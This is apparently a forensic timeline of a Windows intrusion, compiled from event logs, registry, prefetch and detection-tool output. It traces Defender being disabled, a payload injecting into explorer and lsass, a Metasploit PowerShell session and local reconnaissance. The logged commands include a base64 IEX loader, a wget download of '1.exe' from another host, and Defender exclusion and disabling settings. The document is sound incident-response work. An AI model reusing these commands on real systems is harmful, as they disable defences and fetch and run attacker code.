2023-11-10 10:52:42.826084	Event logs (EVTX)	EVTX event C:\Windows\system32\wevtutil.exe uninstall-manifest "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.23100.2009-0\Microsoft-Antimalware-AMFilter.man"	evtxecmd/evtxecmd_0.csv#18461	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-018

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1088, ProcessGUID: e6e9f951-0b7a-654e-fa00-000000000500 | RuleName: - | MD5=53748B0CD4C78AF5EF1D4E77F3C873AF,SHA256=E16B9D201EC1D7E29B3AD532A9AD8F1AE0CB5821BB916A79F6DBEB1C6E6B85FA,IMPHASH=34BC1195516E78393351B444DF843666 | ParentProcess: C:\Program Files\Windows Defender\MsMpEng.exe | ParentProcessID			
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Exclusions\Paths Threat Hunting | Windows Defender | C:\Payloads\=0	recmd_kroll/recmd_kroll_C.csv#1456	C:\Windows\system32\config\SOFTWARE	F-004, F-017, I-016
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SpyNetReporting=0	recmd_kroll/recmd_kroll_C.csv#1443	C:\Windows\system32\config\SOFTWARE	F-004, F-017
2023-11-10 10:52:49.247111	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SubmitSamplesConsent=0	recmd_kroll/recmd_kroll_C.csv#1444	C:\Windows\system32\config\SOFTWARE	F-004, F-017
2023-11-10 10:52:49.247112	Defender (exclusions)	exclusion: regf_mtime type=Paths | value=C:\Payloads\	dissect/defender.exclusions.jsonl#2		F-001, F-004, F-017
2023-11-10 10:56:07	Recycle Bin ($I)	Deletion (moved to Recycle Bin) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A.c4CYCMv_.20231110025534.txt size=11303 $I	rbcmd/recyclebin_0.csv#2	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$IX8NRQ1.txt	F-018
2023-11-10 11:02:09.773548	Event logs (EVTX)	EVTX event consent.exe 6492 420 0000019A5C0280F0 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 5392, ProcessGUID: e6e9f951-0db1-654e-8301-000000000500 | RuleName: - | MD5=EE2A1C85C472F89B146CC8EE598CCCBC,SHA256=19FD0010DA92B654D1CA270247061A39EA13C0A58529FD8257A97E2EF7794911,IMPHASH=522D837612010758 34F05037F5307949 | ParentProcess: C:\Windows\System32\svchost.exe | ParentProcessID: 6492, Parent	evtxecmd/evtxecmd_0.csv#18635	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-004, F-017
2023-11-10 11:02:11.356955	Event logs (EVTX)	EVTX event C:\Windows\System32\SecurityHealthHost.exe {6CED0DAA-4CDE-49C9-BA3A-AE163DC3D7AF} -Embedding Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2708, ProcessGUID: e6e9f951-0db3-654e-8401-000000000500 | RuleName: - | MD5=18CB1CDF0666FF08918BADE605087CEC,SHA256=4CB149DB4441B25F3C837B97477BF5A81C51735D76B123D396AA214FED100522,IMPHASH=588F984996756BEE8EBFE48A7299428F | ParentProcess: C:\Windows\System32\svchost.exe | ParentProcessID: 772, ParentP	evtxecmd/evtxecmd_0.csv#18636	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-017
2023-11-10 11:02:11.558959	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Real-Time Protection Threat Hunting | Windows Defender | DisableRealtimeMonitoring=1	recmd_kroll/recmd_kroll_C.csv#1447	C:\Windows\system32\config\SOFTWARE	F-004, F-017, T-016
2023-11-10 11:02:11.567907	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 6388, ProcessGUID: e6e9f951-0b81-654e-1901-000000000500 | RuleName: T1089,Tamper-Defender | Image: C:\ProgramData\Microsoft\Windows Defender\platform\4.18.23100.2009-0\MsMpEng.exe | EventType: SetValue | TargetObject: HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealt	evtxecmd/evtxecmd_0.csv#18637	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-004, F-017, T-016
2023-11-10 11:02:12.113188	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 632, ProcessGUID: e6e9f951-0900-654e-0b00-000000000500 | RuleName: T1031,T1050 | Image: C:\Windows\system32\services.exe | EventType: SetValue | TargetObject: HKLM\System\CurrentControlSet\Services\WdNisDrv\Start | Details: DWORD (0x00000003)	evtxecmd/evtxecmd_0.csv#18638	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-017
2023-11-10 11:02:12.400713	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | Windows Defender Antivirus	evtxecmd/evtxecmd_0.csv#23752	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-004, F-017, T-002, T-016
2023-11-10 11:02:56.154634	Event logs (EVTX)	EVTX event consent.exe 6492 468 0000019A5C088A40 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2016, ProcessGUID: e6e9f951-0de0-654e-8701-000000000500 | RuleName: - |	evtxecmd/evtxecmd_0.csv#18641	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-012

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		MD5=EE2A1C85C472F89B146CC8EE598CCCBC,SHA256=19FD0010DA92B654D1CA270247061A39EA13C0A58529FD8257A97E2EF7794911,IMPHASH=522D83761201075834F05037F5307949 | ParentProcess: C:\Windows\System32\svchost.exe | ParentProcessID: 6492, Parent			
2023-11-10 11:02:57.767576	Event logs (EVTX)	EVTX event "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1088, ProcessGUID: e6e9f951-0de1-654e-8801-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD33039076975248 1 | ParentProcess: C:\Windows\explorer.exe | ParentProcessID: 2432, ParentProcessG	evtxecmd/evtxecmd_0.csv#18642	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-008, F-012, T-009
2023-11-10 11:02:58.244323	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A.6HrokibP.20231110030258.txt size=950	mftecmd_mft/mft.csv#116397	C:\$MFT	F-018
2023-11-10 11:03:04.599586	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4103 | Microsoft-Windows-PowerShell | Pipeline executed | Command Name: | Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Script Name: | ConnectedUser: | Host Name: ConsoleHost | Payload: CommandInvocation(Out-Default): "Out-Default", ParameterBinding(Out-Default): name="InputObject"; value="pscp.exe", ParameterBinding(Out-	evtxecmd/evtxecmd_0.csv#8737	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx	F-008
2023-11-10 11:03:09.877971	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: .\pscp.exe	evtxecmd/evtxecmd_0.csv#8742	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx	F-005, F-008, T-009
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/prefetch_0.csv#98	C:\Windows\prefetch\PSCP.EXE-1DCA12FC.pf	F-005, F-008, I-018, T-003, T-018
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Par	evtxecmd/evtxecmd_0.csv#18650	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-005, F-008, F-012, I-001, I-002, I-006, I-010, I-011, I-017, T-003, T-009
2023-11-10 11:03:09.978687	Prefetch	Execution (Prefetch, last) EXPLORER.EXE runs=1 hash=3C49D11 False	pecmd/prefetch_0.csv#37	C:\Windows\prefetch\EXPLORER.EXE-03C49D11.pf	F-008
2023-11-10 11:03:09.989870	Event logs (EVTX)	EVTX event explorer.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: - | MD5=9FBBF189473A313776019D2EAA72A47A,SHA256=CEF64201A97E08834F5C8952907A1719531A7D99B53309CB2E2956F40CFF3486,IMPHASH=D505016A935B17367AA0263582F3F1E2 | ParentProcess: C:\Payloads\pscp.exe | ParentProcessID: 2196, ParentProcessGUID	evtxecmd/evtxecmd_0.csv#18651	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-005, F-008, I-017, T-003, T-018
2023-11-10 11:03:09.990000	Detection Hayabusa	medium Proc Injection | {"SrcProc":"C:\\Payloads\\pscp.exe","TgtProc":"C:\\Windows\\explorer.exe","SrcPID":2196,"SrcPGUID":"E6E9F951-0DED-654E-8F01-000000000500","TgtPID":7324,"TgtPGUID":"E6E9F951-0DED-654E-9001-000000000500"} | {"NewThreadId":5968,"RuleName":"-","SourceUser":"DESKTOP-KJ81A5A\\medmondson","StartAddress":"0x0000000000B30000","StartFunction":"-","StartModule":"-","TargetUser":"DESKTOP-KJ81	hayabusa/hayabusa_0.jsonl#1574	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-005
2023-11-10 11:03:09.990398	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000000000B30000 | RuleName: - | SourceProcessID: 2196, SourceProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | SourceImage: C:\Payloads\pscp.exe | TargetProcessID: 7324, TargetProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | TargetImage: C:\Windows\explorer.exe	evtxecmd/evtxecmd_0.csv#18652	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-005, T-003, T-018

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
2023-11-10 11:03:56.300000	Detection Hayabusa	medium Proc Injection | {"SrcProc":"C:\\Windows\\explorer.exe","TgtProc":"C:\\Windows\\system32\\lsass.exe","SrcPID":7324,"SrcPGUID":"E6E9F951-0DED-654E-9001-000000000500","TgtPID":648,"TgtPGUID":"E6E9F951-0900-654E-0C00-000000000500"} | {"NewThreadId":2988,"RuleName":"-","SourceUser":"DESKTOP-KJ81A5A\\medmondson","StartAddress":"0x0000028F43080000","StartFunction":"-","StartModule":"-","TargetUser":"NT	hayabusa/hayabusa_0.jsonl#1575	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-005
2023-11-10 11:03:56.300284	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 8 | Microsoft-Windows-Sysmon | CreateRemoteThread | StartAddress: 0x0000028F43080000 | RuleName: - | SourceProcessID: 7324, SourceProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | SourceImage: C:\Windows\explorer.exe | TargetProcessID: 648, TargetProcessGUID: e6e9f951-0900-654e-0c00-000000000500 | TargetImage: C:\Windows\system32\lsass.exe	evtxecmd/evtxecmd_0.csv#18654	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-005, T-004
2023-11-10 11:04:13.885211	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6600, ProcessGUID: e6e9f951-0e2d-654e-9101-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\explorer.exe | ParentProcessID: 7324, ParentProcessG	evtxecmd/evtxecmd_0.csv#18655	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006, I-017, T-005
2023-11-10 11:04:39.853697	Prefetch	Execution (Prefetch, previous) TRACERT.EXE runs=3 hash=EC2ABA23 False	pecmd/prefetch_0.csv#196	C:\Windows\prefetch\TRACERT.EXE-EC2ABA23.pf	F-006, T-020
2023-11-10 11:04:39.859949	Event logs (EVTX)	EVTX event tracert -h Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2764, ProcessGUID: e6e9f951-0e47-654e-9301-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 6600, ParentProc	evtxecmd/evtxecmd_0.csv#18656	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006
2023-11-10 11:05:01.056649	Event logs (EVTX)	EVTX event tracert -m 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7720, ProcessGUID: e6e9f951-0e5d-654e-9401-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 6600, ParentProc	evtxecmd/evtxecmd_0.csv#18657	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006
2023-11-10 11:05:12.550053	Event logs (EVTX)	EVTX event tracert -h 6 8.8.8.8 Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2180, ProcessGUID: e6e9f951-0e68-654e-9501-000000000500 | RuleName: - | MD5=2EFE82589249126CA80CC1C536FCBDDA,SHA256=5817A6B5D24D21E19A05A08253737B1D2842B612EC1B90F9B928D78FAD271092,IMPHASH=7A80F2FE2DD40125FA241B4F53DF08D1 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 6600, ParentProc	evtxecmd/evtxecmd_0.csv#18658	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006
2023-11-10 11:05:41.181847	Prefetch	Execution (Prefetch, last) QUSER.EXE runs=1 hash=FE15F6D2 False	pecmd/prefetch_0.csv#99	C:\Windows\prefetch\QUSER.EXE-FE15F6D2.pf	F-006, T-020
2023-11-10 11:05:41.182379	Event logs (EVTX)	EVTX event quser Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7752, ProcessGUID: e6e9f951-0e85-654e-9601-000000000500 | RuleName: - | MD5=3147F9B0C7089DD698778246E835C494,SHA256=6EE15E5B1311D501FBDAA15C9D1197BA2F99745EA5ABB3E724D598EE53D48A6E,IMPHASH=EA8421BD383CD44D7C13D5BBB67DDFA5 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 6600, ParentProc	evtxecmd/evtxecmd_0.csv#18659	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006, T-005
2023-11-10 11:06:00	SRUM (application timeline)	SRUM: end of application activity TRACERT.EXE duration_ms=120000	srumecmd/20261019151050_SrumECmd_AppTimelineProvider_Output.csv#1163	C:\Windows\system32\SRU\SRUDB.dat	T-020

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
2023-11-10 11:06:40.683825	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: - | Image: C:\Windows\explorer.exe | TargetFilename: C:\Users\medmondson\AppData\Local\Temp__PSScriptPolicyTest_4aavzn1y.m2z.ps1	evtxecmd/evtxecmd_0.csv#18660	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-010, I-019
2023-11-10 11:06:40.853693	Event logs (EVTX)	EVTX event Windows PowerShell 400 | PowerShell | Engine state is changed from None to Available | HostApplication=explorer.exe | HostName=MSFConsole | HostVersion=0.1	evtxecmd/evtxecmd_0.csv#28055	C:\Windows\system32\winevt\logs\Windows PowerShell.evtx	F-006, I-019, T-006
2023-11-10 11:06:40.869319	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A.4_WbZ_YN.20231110030640.txt size=12506	mftecmd_mft/mft.csv#119921	C:\$MFT	F-018
2023-11-10 11:06:40.890383	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("DQpmdW5jdGlvbiBBZGQtV2ViVHJhbnNwb3J0IHsNCiAgPCMNCiAgICAuU1lOT1BTSVMNCiAgICAgIEFkZCBhIHdlYi1iYXNlZCB0cmFuc3BvcnQgKGh0dHAvcykgdG8gdGhlIGN1cnJlbnQgc2Vzc2lvbi4NCg0KICAgIC5QQVJBTUVURVIg	EVTX event Windows PowerShell 800 | PowerShell | Pipeline Execution Details | HostApplication=explorer.exe | HostName=MSFConsole | HostVersion=0.1	evtxecmd/evtxecmd_0.csv#8744	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx	F-006, T-006
2023-11-10 11:06:40.900568	Event logs (EVTX)	EVTX event Windows PowerShell 800 | PowerShell | Pipeline Execution Details | HostApplication=explorer.exe | HostName=MSFConsole | HostVersion=0.1	evtxecmd/evtxecmd_0.csv#28056	C:\Windows\system32\winevt\logs\Windows PowerShell.evtx	I-019
2023-11-10 11:07:47.909571	Event logs (EVTX)	EVTX event "C:\Windows\system32\NOTEPAD.EXE" C:\Users\medmondson\Desktop\New Text Document.txt Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 932, ProcessGUID: e6e9f951-0f03-654e-aa01-000000000500 | RuleName: - | MD5=F1139811BBF61362915958806AD30211,SHA256=F1D62648EF915D85CB4FC140359E925395D315C70F3566B63BB3E21151CB2CE3,IMPHASH=E2D17AC7541817AA681AE8FF7734AD89 | ParentProcess: C:\Windows\explorer.exe | ParentProcessID: 2432, ParentProcessGU	evtxecmd/evtxecmd_0.csv#18675	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-015
2023-11-10 11:09:06.424384	Event logs (EVTX)	EVTX event C:\Windows\system32\cmd.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 5848, ProcessGUID: e6e9f951-0f52-654e-ad01-000000000500 | RuleName: - | MD5=9D59442313565C2E0860B88BF32B2277,SHA256=D0CEB18272966AB62B8EDFF100E9B4A6A3CB5DC0F2A32B2B18721FEA2D9C09A5,IMPHASH=272245E2988E1E430500B852C4FB5E18 | ParentProcess: C:\Windows\explorer.exe | ParentProcessID: 7324, ParentProcessG	evtxecmd/evtxecmd_0.csv#18676	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006, I-017
2023-11-10 11:09:10.219150	Event logs (EVTX)	EVTX event powershell Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D763671B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD33039076975248 1 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 5848, ParentProce	evtxecmd/evtxecmd_0.csv#18677	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006
2023-11-10 11:09:10.400596	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Transcript\20231110\PowerShell_transcript.DESKTOP-KJ81A5A._h_Jx2Ns.20231110030910.txt size=10284	mftecmd_mft/mft.csv#119924	C:\$MFT	F-018
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/evtxecmd_0.csv#8814	C:\Windows\system32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx	F-006, F-009, F-016, F-019, I-005, I-008,

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
					T-007
2023-11-10 11:10:55.603703	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Users\medmondson\1.exe size=986624	mftecmd_mft/mft.csv#119927	C:\$MFT	F-006, F-009, F-018, I-006, I-008
2023-11-10 11:10:55.607209	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: EXE | Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | TargetFilename: C:\Users\medmondson\1.exe	evtxecmd/evtxecmd_0.csv#18680	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006, F-010, I-017, T-007
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	evtxecmd/evtxecmd_0.csv#18681	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006, F-009, F-013, F-016, F-019, I-003, I-012, T-007
2023-11-10 11:11:23.838148	Prefetch	Execution (Prefetch, last) TASKLIST.EXE runs=1 hash=2448BC7D False	pecmd/prefetch_0.csv#193	C:\Windows\prefetch\TASKLIST.EXE-2448BC7D.pf	F-006, F-007, T-020
2023-11-10 11:11:23.852357	Event logs (EVTX)	EVTX event tasklist Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 8012, ProcessGUID: e6e9f951-0fdb-654e-ba01-000000000500 | RuleName: - | MD5=80036C62EACEEFAC7F7DF133634321F5,SHA256=9F60240830FAF4DE590360561A6E249F5D0C41FF8AFBB9498BBE5C1A80ABD02C,IMPHASH=DCE1F3B1BD09BBAD166CE65677E33EDB | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 5848, ParentProc	evtxecmd/evtxecmd_0.csv#18682	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-006, F-007, T-005
2023-11-10 11:12:23.447441	Prefetch	Execution (Prefetch, last) NETSTAT.EXE runs=1 hash=34A60389 False	pecmd/prefetch_0.csv#83	C:\Windows\prefetch\NETSTAT.EXE-34A60389.pf	F-007, T-010, T-020
2023-11-10 11:12:23.447885	Event logs (EVTX)	EVTX event netstat -ntb Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6292, ProcessGUID: e6e9f951-1017-654e-c701-000000000500 | RuleName: - | MD5=2445DECE99DEEDBD701DC6DFE10E648E,SHA256=5A780D6630639FFB7FD3D295C182EAA2A7CAD2C70248C5BA8F334BB3803353CA,IMPHASH=F495C58FFEE3A623AD7AAA6BE78756D5 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 5848, ParentProc	evtxecmd/evtxecmd_0.csv#18688	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-007, I-009, T-010
2023-11-10 11:13:06.409323	Event logs (EVTX)	EVTX event Microsoft-Windows-WinRM/Operational 145 | Microsoft-Windows-WinRM	evtxecmd/evtxecmd_0.csv#24540	C:\Windows\system32\winevt\logs\Microsoft-Windows-WinRM%4Operational.evtx	F-013
2023-11-10 11:13:22.056897	Event logs (EVTX)	EVTX event Microsoft-Windows-Bits-Client/Operational 59 | Microsoft-Windows-Bits-Client | BITS transfer has started | jobTitle: UpdateBinary | jobId: f9cdb807-3ff9-4592-8e3f-da45ed8b8cce | URL: https://oneclient.sfx.ms/Win/Installers/23.214.1015.0001/amd64/OneDriveSetup.exe | Peer: | Total Bytes: 64958880 (Transferred: 0) | Bytes Transferred from Peer: 0	evtxecmd/evtxecmd_0.csv#7376	C:\Windows\system32\winevt\logs\Microsoft-Windows-Bits-Client%4Operational.evtx	F-019
2023-11-10 11:13:25.697436	Prefetch	Execution (Prefetch, last) WHOAMI.EXE runs=1 hash=824687C3 False	pecmd/prefetch_0.csv#217	C:\Windows\prefetch\WHOAMI.EXE-824687C3.pf	F-007, T-010, T-020
2023-11-10 11:13:25.703963	Event logs (EVTX)	EVTX event whoami /user Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7220, ProcessGUID: e6e9f951-1055-654e-cb01-000000000500 | RuleName: - | MD5=2EEEEC89E705F73FFBCAE014E1828788,SHA256=A8A4C4719113B071BB50D67F6E12C188B92C70EEAFDFCD6F5DA69B6AAA99A7FD,IMPHASH=7FF0758B766F747CE57DFAC70743FB88 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 5848, ParentProc	evtxecmd/evtxecmd_0.csv#18694	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-007, I-009, T-010
2023-11-10 11:13:35.759974	Prefetch	Execution (Prefetch, last) NET.EXE runs=1 hash=61E7A54D False	pecmd/prefetch_0.csv#81	C:\Windows\prefetch\NET.EXE-61E7A54D.pf	F-007

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
2023-11-10 11:13:35.772808	Event logs (EVTX)	EVTX event net user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-105f-654e-cc01-000000000500 | RuleName: - | MD5=A63DF9A6E9098CC189F2A3EFC37600F6,SHA256=96CDFD7B263947A6A7C0DB54141A6B8D7777DB0A03A17CBF95666D98422F937B,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07 | ParentProcess: C:\Windows\System32\cmd.exe | ParentProcessID: 5848, ParentProce	evtxecmd/evtxecmd_0.csv#18695	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-007, I-009, T-010
2023-11-10 11:13:35.775558	Prefetch	Execution (Prefetch, last) NET1.EXE runs=1 hash=1C88A7BA False	pecmd/prefetch_0.csv#82	C:\Windows\prefetch\NET1.EXE-1C88A7BA.pf	F-007, T-020
2023-11-10 11:13:35.786440	Event logs (EVTX)	EVTX event C:\Windows\system32\net1 user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1152, ProcessGUID: e6e9f951-105f-654e-cd01-000000000500 | RuleName: - | MD5=0F641F87A791AE07C00A725BBBD77724,SHA256=286E7F127B06386BD1CC9664851848F483A867F0F604AA352893151068715FAA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E | ParentProcess: C:\Windows\System32\net.exe | ParentProcessID: 736, ParentProce	evtxecmd/evtxecmd_0.csv#18696	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-007, F-012, T-012
